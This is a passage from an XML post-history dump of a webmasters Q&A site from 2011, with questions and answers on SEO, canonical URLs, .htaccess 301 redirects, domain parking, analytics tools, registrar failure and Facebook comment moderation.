provides a good way of artificially amalgamating a set of pages under one canonical URL to be presented in search results. Recommended if you have issues with site architecture or implementing other methods (my personal belief is that *every* page should contain a `rel=&quot;canonical&quot;` tag.)&#xD;&#xA; 8. **[WordPress specific solutions][8]** - Can't go past this great article from Joost - I also recommend his awesome SEO plugin for WordPress.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://searchengineland.com/how-i-think-crawl-budget-works-sort-of-59768&#xD;&#xA;  [2]: http://webtapmagazine.com/2010/09/21/your-ultimate-guide-to-the-rel-attribute-in-html5/&#xD;&#xA;  [3]: http://www.w3.org/TR/html4/struct/links.html#h-12.1.2&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1523163/jquery-pagination-plugin&#xD;&#xA;  [5]: http://www.google.com/support/webmasters/bin/answer.py?answer=96569&#xD;&#xA;  [6]: http://help.yahoo.com/l/us/yahoo/search/indexing/slurp-04.html&#xD;&#xA;  [7]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html&#xD;&#xA;  [8]: http://yoast.com/articles/wordpress-seo/#pagination" />
  <row Id="41679" PostHistoryTypeId="17" PostId="17340" RevisionGUID="0d601dcf-156e-46fa-8356-50623220cf33" CreationDate="2011-07-24T23:48:53.537" UserId="-1" Comment="from http://stackoverflow.com/questions/6809879/facebook-comments-lost" Text="" />
  <row Id="41680" PostHistoryTypeId="17" PostId="17341" RevisionGUID="bc427b8e-305d-4e2a-88d4-b5bebde5a70f" CreationDate="2011-07-24T23:48:53.537" UserId="-1" Comment="from http://stackoverflow.com/questions/6809879/facebook-comments-lost" Text="" />
  <row Id="41681" PostHistoryTypeId="2" PostId="17341" RevisionGUID="939b67d0-9cdf-4e37-948c-c86bb0efac86" CreationDate="2011-07-24T22:12:30.117" UserDisplayName="Jeff Sherlock" Text="The way we determine who can admin the comments is by looking at the `fb:admins` or `fb:app_id` meta tag in the header of the page where the comments are located. If you've added your user id or your app id, then you should be able to admin your comments. It looks like the instructions for the plugin you've mentioned have a section about adding your own app id.&#xD;&#xA;Take a look at the `moderation tools` section of the comments plugin page on the developer site for detailed instructions on how to set up your page so you can moderate the comments.&#xD;&#xA;http://developers.facebook.com/docs/reference/plugins/comments/" />
  <row Id="41682" PostHistoryTypeId="2" PostId="17340" RevisionGUID="826663e2-9558-4356-8c46-fd745ffe9b4c" CreationDate="2011-07-24T21:32:34.150" UserDisplayName="Rish" Text="I am using Facebook comments on couple of my blogs at the moment and I just found that somehow magically all the previous comments made on posts are gone and are no longer being displayed.&#xD;&#xA;&#xD;&#xA;I'm using wordpress for all of these blogs and [This Plugin][1] to manage all the facebook comments. But somehow they all disappeared all of a sudden.&#xD;&#xA;&#xD;&#xA;Another problem which I've been facing lately is that I can't seem to moderate the faceboook comments. When I go to http://developers.facebook.com/tools/comments where there should be a list of all the comments made on my sites (against the Applications that I've created just for the sake of comments), there is nothing there. This has been the thing from the starting, **before the comments vanished on my site, today**&#xD;&#xA;&#xD;&#xA;So technically, there are two issues to solve here.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://we8u.com/facebook-comments/" />
  <row Id="41683" PostHistoryTypeId="1" PostId="17340" RevisionGUID="826663e2-9558-4356-8c46-fd745ffe9b4c" CreationDate="2011-07-24T21:32:34.150" UserDisplayName="Rish" Text="Facebook Comments Lost" />
  <row Id="41684" PostHistoryTypeId="3" PostId="17340" RevisionGUID="826663e2-9558-4356-8c46-fd745ffe9b4c" CreationDate="2011-07-24T21:32:34.150" UserDisplayName="Rish" Text="&lt;facebook&gt;&lt;comments&gt;" />
  <row Id="41685" PostHistoryTypeId="25" PostId="17320" RevisionGUID="c2aa437a-0c48-4acb-9eba-3e4d9fca93d8" CreationDate="2011-07-25T00:31:59.040" Comment="http://twitter.com/#!/StackWebmasters/status/95290159356063744" />
  <row Id="41686" PostHistoryTypeId="2" PostId="17342" RevisionGUID="da7776fe-10ce-4e2f-8291-3a6619b999c3" CreationDate="2011-07-25T01:16:02.523" UserId="8354" Text="If URLs are exactly the same and the only difference is the domain name, then it is very easy to do. Just place this line in .htaccess in website root folder of `www.somesite.com`:&#xD;&#xA;&#xD;&#xA;    Redirect 301 / http://www.someothersite.com/&#xD;&#xA;&#xD;&#xA;The above rule will redirect (301 Permanent Redirect) ALL requests to a new domain using the same URL and [reserving the query string.&#xD;&#xA;&#xD;&#xA;At the same time you may need to disable any existing rewrite rules in that .htaccess file, otherwise WordPress may be processing all rules before such redirect occurs (`RewriteRule` has higher priority than `Redirect`)." />
  <row Id="41687" PostHistoryTypeId="2" PostId="17343" RevisionGUID="fa37ea45-65ed-43e3-82cb-70ab859dfffc" CreationDate="2011-07-25T01:20:02.563" UserId="5806" Text="LazyOne beat me to it :) .... So what he said.... PLUS:&#xD;&#xA;&#xD;&#xA;In the Wordpress Dashboard you have to find the setting where you put the domain name of your blog and change it to the new domain name. Otherwise, most links will point to the old domain.... which of course get directed back but it will obviously be inefficient." />
  <row Id="41688" PostHistoryTypeId="5" PostId="17342" RevisionGUID="3014ea07-e119-43fc-a416-be6f5ca2a69e" CreationDate="2011-07-25T01:37:50.077" UserId="8354" Comment="typo" Text="If URLs are exactly the same and the only difference is the domain name, then it is very easy to do. Just place this line in .htaccess in website root folder of `www.somesite.com`:&#xD;&#xA;&#xD;&#xA;    Redirect 301 / http://www.someothersite.com/&#xD;&#xA;&#xD;&#xA;The above rule will redirect (301 Permanent Redirect) ALL requests to a new domain using the same URL and preserving the query string.&#xD;&#xA;&#xD;&#xA;At the same time you may need to disable any existing rewrite rules in that .htaccess file, otherwise WordPress may be processing all rules before such redirect occurs (`RewriteRule` has higher priority than `Redirect`)." />
  <row Id="41689" PostHistoryTypeId="17" PostId="17344" RevisionGUID="e5f5b514-b322-4cf1-9428-41d7460d155f" CreationDate="2011-07-25T02:34:07.900" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/95622/is-there-a-way-to-set-up-my-domains-such-that-if-a-user-types-domain-a-com-xyz-it" Text="" />
  <row Id="41690" PostHistoryTypeId="17" PostId="17345" RevisionGUID="9ab85be0-fd2e-4ca5-a1ba-298eaedc10ce" CreationDate="2011-07-25T02:34:07.900" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/95622/is-there-a-way-to-set-up-my-domains-such-that-if-a-user-types-domain-a-com-xyz-it" Text="" />
  <row Id="41691" PostHistoryTypeId="2" PostId="17345" RevisionGUID="55bd843c-1ca9-4068-bfc7-106e0853596c" CreationDate="2011-07-25T01:51:35.007" UserId="9213" UserDisplayName="MattyD" Text="Possible a domain redirect using Domain B's name servers and A Records.&#xD;&#xA;&#xD;&#xA;Or using Domain A's control panel to set up a redirect there" />
  <row Id="41692" PostHistoryTypeId="2" PostId="17344" RevisionGUID="edbf6c9b-0509-4b34-b11d-a046d3b78f30" CreationDate="2011-07-25T01:46:52.890" UserId="7654" Text="&#xD;&#xA;Is there a way to set up my domains such that if a user types domain-a.com/xyz it will be routed to domain-b.com/xyz ?&#xD;&#xA;&#xD;&#xA;I mean i could perhaps do a redirect but that would screw up the HTTP_REFERER and make some other stuff harder (like if a user make a POST to domain-a.com/page.php i would like it to be sent to domain-b.com/page.php)&#xD;&#xA;&#xD;&#xA;I've heard of parked domains, however even though they seem to be  doing the job, the address bar still shows domain-a instead of domain-b" />
  <row Id="41693" PostHistoryTypeId="1" PostId="17344" RevisionGUID="edbf6c9b-0509-4b34-b11d-a046d3b78f30" CreationDate="2011-07-25T01:46:52.890" UserId="7654" Text="Is there a way to set up my domains such that if a user types domain-a.com/xyz it will be routed to domain-b.com/xyz ?" />
  <row Id="41694" PostHistoryTypeId="3" PostId="17344" RevisionGUID="edbf6c9b-0509-4b34-b11d-a046d3b78f30" CreationDate="2011-07-25T01:46:52.890" UserId="7654" Text="&lt;php&gt;&lt;websites&gt;&lt;domains&gt;" />
  <row Id="41695" PostHistoryTypeId="25" PostId="17323" RevisionGUID="68a89a4d-097c-4315-8615-3044e9843c2f" CreationDate="2011-07-25T03:31:58.820" Comment="http://twitter.com/#!/StackWebmasters/status/95335455813402625" />
  <row Id="41696" PostHistoryTypeId="2" PostId="17346" RevisionGUID="b74c7f5b-37c0-478d-b2ef-af4453086e45" CreationDate="2011-07-25T04:08:10.683" UserId="8687" Text="The simplest way is to use a 301 redirect in a .htaccess file on the old domain which will point to the new domain. Use the following code:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule (.*) http://www.newdomain.com/$1 [R=301,L]&#xD;&#xA;&#xD;&#xA;Rememer to change www.newdomain.com to your actual new domain name. This code is dependant on mod_rewrite being installed in the Apache server. It usually is.&#xD;&#xA;&#xD;&#xA;Difference between my code and LazyOne's code is that LazyOne's will redirect olddomain.com/something to newdomain.com. The something on the end will get lost. Where as mine will redirect olddomain.com/something to newdomain.com/something and the something will remain intact." />
  <row Id="41697" PostHistoryTypeId="2" PostId="17347" RevisionGUID="c849c0c6-4020-4540-9fd5-6a771cb552e5" CreationDate="2011-07-25T04:31:20.323" UserId="8557" Text="On my news website, I scour various sources and write original news articles. However, one of my competitors is merely copying news articles from popular news websites directly with a few or no modifications whatsoever. Even though, it ranks better than us and he has very good traffic. Al they do is cite the original source but the entire article is same as the original. &#xD;&#xA;&#xD;&#xA;Does Google not consider duplicate content for news?" />
  <row Id="41698" PostHistoryTypeId="1" PostId="17347" RevisionGUID="c849c0c6-4020-4540-9fd5-6a771cb552e5" CreationDate="2011-07-25T04:31:20.323" UserId="8557" Text="Duplicate Content Ranking Better??" />
  <row Id="41699" PostHistoryTypeId="3" PostId="17347" RevisionGUID="c849c0c6-4020-4540-9fd5-6a771cb552e5" CreationDate="2011-07-25T04:31:20.323" UserId="8557" Text="&lt;google&gt;" />
  <row Id="41700" PostHistoryTypeId="2" PostId="17348" RevisionGUID="3a3852e5-5093-4d0b-b3f3-31e20be350c8" CreationDate="2011-07-25T05:19:03.810" UserId="8935" Text="We have plan to setup a business directory website. and our team thinking of suitable platform  &#xD;&#xA;&#xD;&#xA;Php or ASP  i want to know which is most commonly used in Commercial Business Directory Websites.  How does Business Directory Websites get their pages indexed so fast , does we consider creating website just like Blog / forums   which index's faster than static Website .&#xD;&#xA;&#xD;&#xA;How business Directory Website works ....??&#xD;&#xA; " />
  <row Id="41701" PostHistoryTypeId="1" PostId="17348" RevisionGUID="3a3852e5-5093-4d0b-b3f3-31e20be350c8" CreationDate="2011-07-25T05:19:03.810" UserId="8935" Text="Best Platform to build Business Directory Website ,which is SEO friendly ?" />
  <row Id="41702" PostHistoryTypeId="3" PostId="17348" RevisionGUID="3a3852e5-5093-4d0b-b3f3-31e20be350c8" CreationDate="2011-07-25T05:19:03.810" UserId="8935" Text="&lt;seo&gt;&lt;indexing&gt;&lt;business-models&gt;" />
  <row Id="41703" PostHistoryTypeId="2" PostId="17349" RevisionGUID="90eceddf-75e7-4611-83e1-cba772b2d2d0" CreationDate="2011-07-25T05:39:58.760" UserId="7296" Text="- Both PHP and ASP .NET MVC are good choices to wrote a business directory with. &#xD;&#xA;- The platform you choose will not affect how the pages are indexed.&#xD;&#xA;- Php is probably the most commonly used because it has loads of free tools and free OS like linux.&#xD;&#xA;- The important thing is what you are already familiar with. Cost of hardware software, Using the right tool for the job.   " />
  <row Id="41704" PostHistoryTypeId="25" PostId="17194" RevisionGUID="a5446c35-2767-4591-a16f-cf7ef1b0cbb1" CreationDate="2011-07-25T06:31:59.137" Comment="http://twitter.com/#!/StackWebmasters/status/95380754799927296" />
  <row Id="41705" PostHistoryTypeId="17" PostId="17350" RevisionGUID="a10bd1cb-e0c9-412e-9daf-68798f9e974b" CreationDate="2011-07-25T06:47:36.370" UserId="-1" Comment="from http://stackoverflow.com/questions/6812498/web-site-analysis" Text="" />
  <row Id="41706" PostHistoryTypeId="17" PostId="17351" RevisionGUID="c459c077-d73c-438d-8121-b356fda10d10" CreationDate="2011-07-25T06:47:36.370" UserId="-1" Comment="from http://stackoverflow.com/questions/6812498/web-site-analysis" Text="" />
  <row Id="41707" PostHistoryTypeId="2" PostId="17351" RevisionGUID="fd9591ef-e0e4-41aa-85aa-6227fe6fb8a9" CreationDate="2011-07-25T06:36:36.070" UserDisplayName="gordy" Text="Does it have to be open source or just free? If it's the latter [use this][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/analytics/" />
  <row Id="41708" PostHistoryTypeId="2" PostId="17350" RevisionGUID="174c958b-12c3-4d9c-a81b-82a74e1cb74d" CreationDate="2011-07-25T06:33:52.440" UserDisplayName="Kishore Borra" Text="I am looking for an opensource which can be plugged into my existing website. The functionality that I am looking for is as below:&#xD;&#xA;1) How many users visited the site in a particular interval of time?&#xD;&#xA;2) what is the IP address the machine from where the request has come?&#xD;&#xA;3) Which region/country/City the user belong to?&#xD;&#xA;4) which operating system that he is using?&#xD;&#xA;5)Which browser has he used for sending the request?&#xD;&#xA;&#xD;&#xA;Can somebody please help me identifying the right opensource for accomplishing this task?&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Kishore.&#xD;&#xA;" />
  <row Id="41709" PostHistoryTypeId="1" PostId="17350" RevisionGUID="174c958b-12c3-4d9c-a81b-82a74e1cb74d" CreationDate="2011-07-25T06:33:52.440" UserDisplayName="Kishore Borra" Text="Web site analysis" />
  <row Id="41710" PostHistoryTypeId="3" PostId="17350" RevisionGUID="174c958b-12c3-4d9c-a81b-82a74e1cb74d" CreationDate="2011-07-25T06:33:52.440" UserDisplayName="Kishore Borra" Text="&lt;untagged&gt;" />
  <row Id="41712" PostHistoryTypeId="2" PostId="17353" RevisionGUID="c0b71763-bd9e-4f82-9ca4-8f8fa54c22f6" CreationDate="2011-07-25T07:24:50.833" UserId="7994" Text="I am thinking to transfer all my domains to one registerer so that the control will be easy.&#xD;&#xA;&#xD;&#xA;But I am a little bit worried about the following question;&#xD;&#xA;&#xD;&#xA;what would happen to my domains if my domain provider company bankrupted?" />
  <row Id="41713" PostHistoryTypeId="1" PostId="17353" RevisionGUID="c0b71763-bd9e-4f82-9ca4-8f8fa54c22f6" CreationDate="2011-07-25T07:24:50.833" UserId="7994" Text="what would happen to my domains if my domain provider company bankrupted" />
  <row Id="41714" PostHistoryTypeId="3" PostId="17353" RevisionGUID="c0b71763-bd9e-4f82-9ca4-8f8fa54c22f6" CreationDate="2011-07-25T07:24:50.833" UserId="7994" Text="&lt;domains&gt;&lt;web-development&gt;&lt;url&gt;&lt;server&gt;&lt;domain-registration&gt;" />
  <row Id="41715" PostHistoryTypeId="2" PostId="17354" RevisionGUID="1f654da4-1f47-4f3c-9070-e4d8968a9f63" CreationDate="2011-07-25T07:45:20.597" UserId="8687" Text="It is possible for you to control everything (expect No.3) yourself, the main things that stop people doing so are, cost, time spent setting it all up, security, maintenance.&#xD;&#xA;&#xD;&#xA;At the very basics, you need a domain name, a computer that serves the data connected to the internet plus a Domain Name Server (DNS) that will link the domain name that the user types in to the IP of the computer that serves that data.&#xD;&#xA;&#xD;&#xA;If you are using a host like godaddy for everything, then it simplifies things by setting up the domain name, nameservers, DNS settings, apache webserver settings, email, database and so on for you in a standard configuration. Making changes to this requires you to use their online interface but you can change just about everything, it's difficult to mess up completely and if you do mess it up, one email to support will reset everything back to the basics again.&#xD;&#xA;&#xD;&#xA;You could set yourself up with a dedicated server or VPN and run your own nameservers, web server, email server and so on. If you add a manager system like cPanel/WHM or Plesk on to it then most of the major tasks are automated for you while you can still log into a command prompt and tweak settings. However, this is probably prohibativly expensive for you. I notice on other threads you complained that the $10 for a domain name was too high for you so the cost of running your own dedicated server or VPN is also going to be out of the question.&#xD;&#xA;&#xD;&#xA;To create the same thing, like a dedicated server, at home, without the cost of web hosting, you run in to some complications. These can be overcome but you should be aware of the compromises. You need to have a PC connected to the internet 24/7. This needs to be installed with web server software such as Apache. And you need to make a small hole in your firewall so that the server can talk to the outside world. This leaves a little security hole so you must ensure you configure Apache correctly.&#xD;&#xA;&#xD;&#xA;Another problem is that your home PC probably doesn't have a dedicated IP, you'll have a shared IP. This IP will change each time you connect. So you need to use a DNS setup that adjusts for this IP change. Something like [dynadns.org][1] will do this. It dynamically updates the DNS with your new IP each time it changes.&#xD;&#xA;&#xD;&#xA;A thrid problem is that your home server PC can't really be used for anything else. If you used the server to download a movie clip, then your bandwidth would all be used up by the movie and people trying to reach the websites would get errors.&#xD;&#xA;&#xD;&#xA;So although doing it all yourself might sound idea, it's either going to be very expensive or else very cumbersome to set up and slow to use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dynadns.org/" />
  <row Id="41716" PostHistoryTypeId="2" PostId="17355" RevisionGUID="34659f04-34dc-4c89-8f4d-f64fabd3405c" CreationDate="2011-07-25T08:14:06.453" UserId="8687" Text="Simply management for the domain would revert back to the central registrar such as ICANN or Nominet. You would then be able to transfer your domain to another registrar. Your ownership and use of the domain would be unaffected." />
  <row Id="41717" PostHistoryTypeId="2" PostId="17356" RevisionGUID="5acbfb9b-2e86-4d60-a3db-be84f718fc8b" CreationDate="2011-07-25T09:18:00.077" UserId="1429" Text="I think you might experience a big downtime to all your domains/sites because domain provider usually do not only register domains for you, but they also provide Name server/DNS that customer (like me) usually use throught a control panel to change DNS records.&#xD;&#xA;Even if the domains would be transfered to ICANN and you definitely won't loose the property on them, the would need new Nameservers/DNS and I don't think it's something that happens imeediately, there must be some other domains provider that buy/take them. &#xD;&#xA;&#xD;&#xA;But thinking at it from a business perspective,I would say that it's quite difficult for a domain provider to go bankrupted. Even if business go bad for him, he would probably just sell all its domains to some bigger provider and after that close the company. In this case you would probably not experience any downtime (maybe a very small one) because domains would be all trasfered to the new domaon provider Nameserver DNS before the old company closes (I'm not a business expert, but selling domains usually do not require big investments/debts/loans)." />
  <row Id="41718" PostHistoryTypeId="2" PostId="17357" RevisionGUID="951def2c-c093-4290-b1a8-f6e8b1e95bd2" CreationDate="2011-07-25T09:25:39.430" UserId="1643" Text="All the things you ask for can be done by any tool that analyses server logs apart from the geographic location thing. (I haven't seen IP addresses coming out of Google Analytics, so I wouldn't recommend that for your requirements, though I'd recommend it generally.)&#xD;&#xA;&#xD;&#xA;The [awstats][1] tool is widely used and has a plugin for geographic location so I'd recommend that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://awstats.sourceforge.net/" />
  <row Id="41719" PostHistoryTypeId="25" PostId="17353" RevisionGUID="e9246bf8-c028-4c6c-822a-bec03f92c040" CreationDate="2011-07-25T09:32:00.470" Comment="http://twitter.com/#!/StackWebmasters/status/95426058597306368" />
  <row Id="41720" PostHistoryTypeId="2" PostId="17358" RevisionGUID="5a7e6916-81b4-4172-9600-fae9754608cc" CreationDate="2011-07-25T10:55:51.527" UserId="9184" Text="I need to make a video slideshow( slides to contain embedded video players and must play mp4 files), and I am kind of confused what would be the best free solution I can use? jplayer and jwplayer both seem good, but I can't find any comparisons between them, so I want some expert opinions and user experiences on these two. Also if there are any other free and open source solutions you can recommend, i am all ears ;)&#xD;&#xA;&#xD;&#xA;My requirements are: The player must be html5 with fallback to flash.&#xD;&#xA;Should support mp4 files as well as flv. &#xD;&#xA;Should also have the ability to double as an audio player(mp3) along with video capabilities. Should be lightweight and customizable easily in terms of looks.&#xD;&#xA;" />
  <row Id="41721" PostHistoryTypeId="1" PostId="17358" RevisionGUID="5a7e6916-81b4-4172-9600-fae9754608cc" CreationDate="2011-07-25T10:55:51.527" UserId="9184" Text="Which is better jplayer or jwplayer?" />
  <row Id="41722" PostHistoryTypeId="3" PostId="17358" RevisionGUID="5a7e6916-81b4-4172-9600-fae9754608cc" CreationDate="2011-07-25T10:55:51.527" UserId="9184" Text="&lt;javascript&gt;&lt;jplayer&gt;" />
  <row Id="41723" PostHistoryTypeId="2" PostId="17359" RevisionGUID="a5210aec-2ac5-46a2-a9a4-3cbd3ff2f480" CreationDate="2011-07-25T10:56:03.250" UserId="1643" Text="To answer the second question - creation of a sitemap will indicate to search engines how often you update your pages. If your site has a good ranking, and the pages change as often as you say they will, then they will check them often and update their indexes. " />
  <row Id="41724" PostHistoryTypeId="5" PostId="17344" RevisionGUID="59894958-ac3d-4831-a486-2b70d72013bc" CreationDate="2011-07-25T11:04:53.880" UserId="7654" Comment="deleted 312 characters in body; edited title" Text="&#xD;&#xA;I want to park my domain www.b.com to www.a.com&#xD;&#xA;&#xD;&#xA;So far is working, but if the user visits b.com, I want the browser url to display a.com&#xD;&#xA;&#xD;&#xA;Is there a way around it?" />
  <row Id="41725" PostHistoryTypeId="4" PostId="17344" RevisionGUID="59894958-ac3d-4831-a486-2b70d72013bc" CreationDate="2011-07-25T11:04:53.880" UserId="7654" Comment="deleted 312 characters in body; edited title" Text=" I want to park my domain www.b.com to www.a.com. if the user visits b.com, I want the browser url to display a.com" />
  <row Id="41726" PostHistoryTypeId="5" PostId="17350" RevisionGUID="25dd1941-69ec-4ffb-9f76-5269e70edba6" CreationDate="2011-07-25T11:14:38.530" UserId="108" Comment="Improved Layout" Text="I am looking for an opensource API for my existing website. The functionality that I am looking for is:&#xD;&#xA; &#xD;&#xA; 1. How many users visited the site in a particular interval of time?&#xD;&#xA; 2. What is the IP address the machine from where the request has come?&#xD;&#xA; 3. Which region/country/City the user belong to?&#xD;&#xA; 4. Which operating system that he is using?&#xD;&#xA; 5. Which browser has he used for sending the request?&#xD;&#xA;&#xD;&#xA;What are my options?&#xD;&#xA;" />
  <row Id="41729" PostHistoryTypeId="5" PostId="17351" RevisionGUID="768fac0c-b6ec-430e-b42d-d89e506244ab" CreationDate="2011-07-25T11:18:02.817" UserId="108" Comment="added 12 characters in body" Text="Does it have to be open source or just free? If it's the latter use [Google Analytics][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/analytics/" />
  <row Id="41730" PostHistoryTypeId="2" PostId="17360" RevisionGUID="6f971900-8725-45d6-a2c7-3dc65ba79d52" CreationDate="2011-07-25T11:21:26.963" UserId="108" Text="As other people have said if you are concerned most about free software vs open source Google Analytics gives you everything except IP addresses.  The best solution may be for you to use [Google Analytics][1] and something like [awstats][2].  &#xD;&#xA;&#xD;&#xA;By combining the two you will get everything you need and have two sources.  Which is usually a benefit because of the complexity of data collection.  Sometimes one Analytics tool will misreport numbers or show something confusing and having two sources of data will allow you to compare and hash out slight differences that can give you an edge in the long run.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/analytics/&#xD;&#xA;  [2]: http://awstats.sourceforge.net/" />
  <row Id="41731" PostHistoryTypeId="10" PostId="17348" RevisionGUID="be9e312b-d90e-4608-b7d6-ae58fa247566" CreationDate="2011-07-25T12:00:07.053" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="41735" PostHistoryTypeId="2" PostId="17362" RevisionGUID="805d93ee-69f0-427f-a074-2a358c3d3ac5" CreationDate="2011-07-25T12:19:33.540" UserId="233" Text="If you want some analytics on +1s (as well as Facebook/Twitter), give [AddThis][1] a try. You can easily add those 3 services and they also include decent analytics for shares and clickbacks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.addthis.com" />
  <row Id="41736" PostHistoryTypeId="5" PostId="17324" RevisionGUID="d0c783fb-f4d6-4582-b78c-6e8c96950aae" CreationDate="2011-07-25T12:26:00.293" UserId="1240" Comment="added 113 characters in body" Text="Do you have flash based adverts on your website, it looks like the 3rd party advert is looking in your domain for the crossdomain.xml.&#xD;&#xA;&#xD;&#xA;Speak to your ad company about this.&#xD;&#xA;&#xD;&#xA;Was your domain owned by anyone else in the past? It could be that something was setup before you came along." />
  <row Id="41737" PostHistoryTypeId="2" PostId="17363" RevisionGUID="a9a1483c-e1ce-4556-b526-1164d123accb" CreationDate="2011-07-25T12:29:29.493" UserId="7962" Text="I'm going to make a presentation to a few decision makers in the following week and I'm trying to gather good reasons to start a corporate blog. Since we're handling a low budget, it's not in the plans to hire anyone especifically to manage or create content but use the employees to do some research and write an article.&#xD;&#xA;&#xD;&#xA;**So what are the most relevant advantages of having a corporate blog?** The most up-voted answer will be accepted as I'll probably benefit of every contribution.&#xD;&#xA;&#xD;&#xA;Additional details:&#xD;&#xA;&#xD;&#xA; - Wholesale business only.&#xD;&#xA; - The only marketing investment so far was an institutional site." />
  <row Id="41738" PostHistoryTypeId="1" PostId="17363" RevisionGUID="a9a1483c-e1ce-4556-b526-1164d123accb" CreationDate="2011-07-25T12:29:29.493" UserId="7962" Text="What are the advantages of a corporate blog?" />
  <row Id="41739" PostHistoryTypeId="3" PostId="17363" RevisionGUID="a9a1483c-e1ce-4556-b526-1164d123accb" CreationDate="2011-07-25T12:29:29.493" UserId="7962" Text="&lt;blog&gt;&lt;marketing&gt;" />
  <row Id="41740" PostHistoryTypeId="25" PostId="17358" RevisionGUID="51a8d8de-4945-444b-8e46-11bbfcbb9852" CreationDate="2011-07-25T12:32:00.370" Comment="http://twitter.com/#!/StackWebmasters/status/95471359290916864" />
  <row Id="41742" PostHistoryTypeId="17" PostId="17364" RevisionGUID="0cdfe8f7-ddaa-44a0-b2ea-e0eb52ce8d1a" CreationDate="2011-07-25T12:54:48.983" UserId="-1" Comment="from http://stackoverflow.com/questions/6816301/seo-which-urls-are-the-best" Text="" />
  <row Id="41743" PostHistoryTypeId="17" PostId="17365" RevisionGUID="1052ca63-82e3-4c47-81c9-fb1174d1a17e" CreationDate="2011-07-25T12:54:48.983" UserId="-1" Comment="from http://stackoverflow.com/questions/6816301/seo-which-urls-are-the-best" Text="" />
  <row Id="41744" PostHistoryTypeId="17" PostId="17366" RevisionGUID="6b8578df-3040-49e1-864f-17d1846c2d3d" CreationDate="2011-07-25T12:54:48.983" UserId="-1" Comment="from http://stackoverflow.com/questions/6816301/seo-which-urls-are-the-best" Text="" />
  <row Id="41745" PostHistoryTypeId="17" PostId="17367" RevisionGUID="826193b4-ea96-4448-abd6-bfc326341bbb" CreationDate="2011-07-25T12:54:48.983" UserId="-1" Comment="from http://stackoverflow.com/questions/6816301/seo-which-urls-are-the-best" Text="" />
  <row Id="41746" PostHistoryTypeId="2" PostId="17365" RevisionGUID="1233dabc-74cd-4ebb-ae97-15968b489c8d" CreationDate="2011-07-25T12:51:10.590" UserId="2578" Text="**3) Concerning the redirect**&#xD;&#xA;&#xD;&#xA;In `http://www.example.com/news/564/seo-improvements.html` I assume that `/seo-improvements.html` is just &quot;sugar&quot;. All important information is in the `http://www.example.com/news/564` part (`news` and `564`).&#xD;&#xA;&#xD;&#xA;Therefore, if the `news` entity with id `564` is found, but the URL does not match the expected slug, one can easily issue a redirect with the correct slug.&#xD;&#xA;&#xD;&#xA;(I'm not sure that I applaud this strategy, though.)" />
  <row Id="41747" PostHistoryTypeId="2" PostId="17366" RevisionGUID="472c5a07-bd29-40fb-9d36-25ee197451ed" CreationDate="2011-07-25T12:52:04.163" UserDisplayName="Luchian Grigore" Text="It all depends on the indexer, for example google or bing might have different algorithms. It doesn'n really matter what your pages' extensions are. The names http://www.example.com/news/564/seo-improvements.html http://www.example.com/news/564-seo-improvements.html will probably behave the same. You can do a redirect with javascript, put the following code in the page you want to redirect from. &#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    document.location = &quot;otherurl&quot;;&#xD;&#xA;    &lt;/script&gt;" />
  <row Id="41748" PostHistoryTypeId="2" PostId="17367" RevisionGUID="20e9743a-6312-4299-bc12-a037752e30a7" CreationDate="2011-07-25T12:54:17.983" UserId="8354" Text="1. No difference from SEO perspective. But may be an issue for some people's minds: &quot;Pfew, stone-age html&quot;&#xD;&#xA;&#xD;&#xA;2. No difference at all.&#xD;&#xA;&#xD;&#xA;3. This approach is also used on this site - try for yourself. The important part in URL is an ID which can uniquely identify one URL from another (take this site for example: there can be more than one question with the same title/slug but IDs will be different).&#xD;&#xA;&#xD;&#xA; The logic behind is simple -- check DB is slug matches one on record. If not -- issue 301 redirect to a proper URL." />
  <row Id="41749" PostHistoryTypeId="2" PostId="17364" RevisionGUID="5e6b58dc-12f5-448e-ab1d-ae560368a922" CreationDate="2011-07-25T12:44:15.737" UserId="9186" UserDisplayName="Bv202" Text="I'm using .htaccess with RewriteRule to create SEO-friendly URL's. However, I have a few questions about this:  &#xD;&#xA;&#xD;&#xA;1) First of all, I noticed many websites end their URL's with .html (or another extension). For example: `http://www.example.com/news/564/seo-improvements.html`  &#xD;&#xA;Does ending an URL with an extension have an impact on SEO? &#xD;&#xA;&#xD;&#xA;2) Which URL is the best (again, for SEO): &#xD;&#xA;&#xD;&#xA;    http://www.example.com/news/564/seo-improvements.html&#xD;&#xA;    http://www.example.com/news/564-seo-improvements.html&#xD;&#xA;&#xD;&#xA;I've noticed both notations are often being used.&#xD;&#xA;&#xD;&#xA;3) On many websites, I notice you can alter the text part of the URL, which is followed by a redirect. For example:&#xD;&#xA;&#xD;&#xA;    http://www.example.com/news/564/seo-improvements.html &lt;-- original URL&#xD;&#xA;    http://www.example.com/news/564/sefkdjfjdfkdjfk.html  &lt;-- altered URL, will redirect to the first one&#xD;&#xA;&#xD;&#xA;How can such a redirect be done?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;When creating this thread, I got a warning this question may be subjective - is it? Isn't there a &quot;correct&quot; answer on these questions?" />
  <row Id="41750" PostHistoryTypeId="1" PostId="17364" RevisionGUID="5e6b58dc-12f5-448e-ab1d-ae560368a922" CreationDate="2011-07-25T12:44:15.737" UserId="9186" UserDisplayName="Bv202" Text="SEO - which URL's are the best?" />
